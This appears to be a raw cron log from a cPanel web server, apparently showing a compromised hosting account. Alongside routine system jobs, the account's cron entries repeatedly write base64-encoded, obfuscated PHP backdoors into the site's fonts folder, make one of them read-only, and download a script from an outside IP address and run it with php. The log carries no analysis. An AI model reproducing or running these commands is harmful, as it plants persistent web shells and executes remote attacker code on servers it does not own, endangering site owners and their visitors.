Sep 22 14:07:01 ip-184-168-122-23 CROND[588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:08:02 ip-184-168-122-23 CROND[705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:08:02 ip-184-168-122-23 CROND[706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:08:02 ip-184-168-122-23 CROND[712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:08:02 ip-184-168-122-23 CROND[709]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:08:02 ip-184-168-122-23 CROND[711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:09:02 ip-184-168-122-23 CROND[833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:09:02 ip-184-168-122-23 CROND[835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:09:02 ip-184-168-122-23 CROND[834]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 14:09:02 ip-184-168-122-23 CROND[836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:09:02 ip-184-168-122-23 CROND[832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:10:01 ip-184-168-122-23 CROND[980]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 14:10:01 ip-184-168-122-23 CROND[981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 14:10:01 ip-184-168-122-23 CROND[985]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:10:01 ip-184-168-122-23 CROND[986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:10:01 ip-184-168-122-23 CROND[987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 14:10:01 ip-184-168-122-23 CROND[989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:10:01 ip-184-168-122-23 CROND[988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:10:01 ip-184-168-122-23 CROND[991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:11:01 ip-184-168-122-23 CROND[1105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:11:01 ip-184-168-122-23 CROND[1107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:11:01 ip-184-168-122-23 CROND[1110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:11:01 ip-184-168-122-23 CROND[1108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:12:01 ip-184-168-122-23 CROND[1325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:12:01 ip-184-168-122-23 CROND[1326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:12:01 ip-184-168-122-23 CROND[1329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:12:01 ip-184-168-122-23 CROND[1328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:12:01 ip-184-168-122-23 CROND[1330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:13:01 ip-184-168-122-23 CROND[1952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:13:01 ip-184-168-122-23 CROND[1953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:13:01 ip-184-168-122-23 CROND[1955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:13:01 ip-184-168-122-23 CROND[1957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:14:01 ip-184-168-122-23 CROND[3452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:14:01 ip-184-168-122-23 CROND[3453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:14:01 ip-184-168-122-23 CROND[3456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:14:01 ip-184-168-122-23 CROND[3458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:14:01 ip-184-168-122-23 CROND[3459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:15:01 ip-184-168-122-23 CROND[5217]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 22 14:15:01 ip-184-168-122-23 CROND[5220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:15:01 ip-184-168-122-23 CROND[5221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:15:01 ip-184-168-122-23 CROND[5223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 14:15:01 ip-184-168-122-23 CROND[5225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:15:01 ip-184-168-122-23 CROND[5222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:15:01 ip-184-168-122-23 CROND[5224]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 14:16:01 ip-184-168-122-23 CROND[6149]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:16:01 ip-184-168-122-23 CROND[6150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:16:01 ip-184-168-122-23 CROND[6154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:16:01 ip-184-168-122-23 CROND[6153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:16:01 ip-184-168-122-23 CROND[6156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:16:02 ip-184-168-122-23 CROND[6159]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 14:17:01 ip-184-168-122-23 CROND[6957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:17:01 ip-184-168-122-23 CROND[6958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:17:01 ip-184-168-122-23 CROND[6960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:17:01 ip-184-168-122-23 CROND[6962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:18:01 ip-184-168-122-23 CROND[7756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:18:01 ip-184-168-122-23 CROND[7758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:18:01 ip-184-168-122-23 CROND[7760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:18:01 ip-184-168-122-23 CROND[7762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:18:01 ip-184-168-122-23 CROND[7763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:19:01 ip-184-168-122-23 CROND[8538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:19:01 ip-184-168-122-23 CROND[8539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:19:01 ip-184-168-122-23 CROND[8542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
